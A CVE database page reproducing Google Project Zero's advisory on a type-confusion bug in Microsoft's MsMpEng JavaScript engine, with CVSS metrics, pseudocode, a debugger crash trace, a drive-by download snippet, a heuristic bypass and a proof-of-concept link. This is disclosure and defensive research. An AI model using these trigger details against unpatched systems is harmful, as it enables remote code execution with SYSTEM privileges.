Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 41975
Publication date : 2017-05-08 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5
MsMpEng is the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products share the same core engine. MsMpEng runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, including Exchange, IIS, and so on.
On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files, downloads (even unconfirmed downloads), attachments, etc) is enough to access functionality in mpengine. MIME types and file extensions are not relevant to this vulnerability, as MsMpEng uses it's own content identification system.
Vulnerabilities in MsMpEng are among the most severe possible in Windows, due to the privilege, accessibility, and ubiquity of the service.
The core component of MsMpEng responsible for scanning and analysis is called mpengine. Mpengine is a vast and complex attack surface, comprising of handlers for dozens of esoteric archive formats, executable packers and cryptors, full system emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers.
NScript is the component of mpengine that evaluates any filesystem or network activity that looks like JavaScript. To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds.
We have written a tool to access NScript via a command shell for testing, allowing us to explore and evaluate it:
$ mpscript
main(): Please wait, initializing engine...
main(): Ready, type javascript (history available, use arrow keys)
> 6 * 9
JavaScriptLog(): 54
> document.location.hostname
JavaScriptLog(): www.myserver.com
> "abcd" + String.fromCharCode(0x3f)
JavaScriptLog(): abcd?
> /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX?
JavaScriptLog(): yes
> for (i in document) log(i)
JavaScriptLog(): appendChild
JavaScriptLog(): attributes
JavaScriptLog(): childNodes
JavaScriptLog(): createElement
JavaScriptLog(): createTextNode
JavaScriptLog(): getElementById
JavaScriptLog(): getElementsByTagName
JavaScriptLog(): write
JavaScriptLog(): writeln
JavaScriptLog(): referrer
JavaScriptLog(): cookie
JavaScriptLog(): location
JavaScriptLog(): undefined
> window.ScriptEngineBuildVersion
JavaScriptLog(): [object Function]
> window.ScriptEngineBuildVersion()
JavaScriptLog(): 8831
We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent().
In pseudocode, the code does something like this:
prophash = JsObject::genPropHash("message", 0);
RuntimeState::getThisPtr(&thisptr)
if (JsObject::get(thisptr, prophash, &message)) {
JsRuntimeState::triggerShortStrEvent("error_tostring", message);
}
The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable.
int __fastcall JsString::numBytes(JsString this)
{
if ( this == 0x12 )
return 0;
if ( (this & 0x12) == 0x12 )
return this >> 5;
return this->vtbl->GetLength(this);
}
Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length.
Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible).
To reproduce this vulnerability, download the attached testcase. The debugging session below was captured after visiting a website that did this:
<a href="testcase.txt" download id=link>
<script>
document.getElementById("link").click();
</script>
3: kd> !process
PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8
DirBase: bded14e0 ObjectTable: bfb99640 HandleCount: 433.
Image: MsMpEng.exe
3: kd> !token -n
_EPROCESS 8805fd28, _TOKEN 00000000
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
3: kd> .lastevent
Last event: Access violation - code c0000005 (first chance)
debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00)
3: kd> r
eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141
eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414141=????????
3: kd> lmv mmpengine
start end module name
68790000 6917a000 mpengine (export symbols) mpengine.dll
Loaded symbol image file: mpengine.dll
Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll
Image name: mpengine.dll
Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1)
CheckSum: 00A1330D
ImageSize: 009EA000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
3: kd> u
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi]
001b:68b1f5f4 56 push esi
001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8]
001b:68b1f5f8 8bce mov ecx,esi
001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)]
001b:68b1f600 8bcf mov ecx,edi
001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address
001b:68b1f604 5e pop esi
Before executing JavaScript, mpengine uses a number of heuristics to decide if evaluation is necessary. One such heuristic estimates file entropy before deciding whether to evaluate any javascript, but we've found that appending some complex comments is enough to trigger this.
The attached proof of concept demonstrates this, but please be aware that downloading it will immediately crash MsMpEng in it's default configuration and possibly destabilize your system. Extra care should be taken sharing this report with other Windows users via Exchange, or web services based on IIS, and so on.
As mpengine will unpack arbitrarily deeply nested archives and supports many obscure and esoteric archive formats (such as Amiga ZOO and MagicISO UIF), there is no practical way to identify an exploit at the network level, and administrators should patch as soon as is practically possible.
We have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity (you can still initiate manual scans, but it seems prudent to do so on trusted files only, making the action pointless).
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41975.zip
Products Mentioned
Configuraton 0
Microsoft>>Forefront_security >> Version -
Microsoft>>Malware_protection_engine >> Version To (including) 1.1.13701.0
Microsoft>>Windows_defender >> Version -
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version *
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version -
References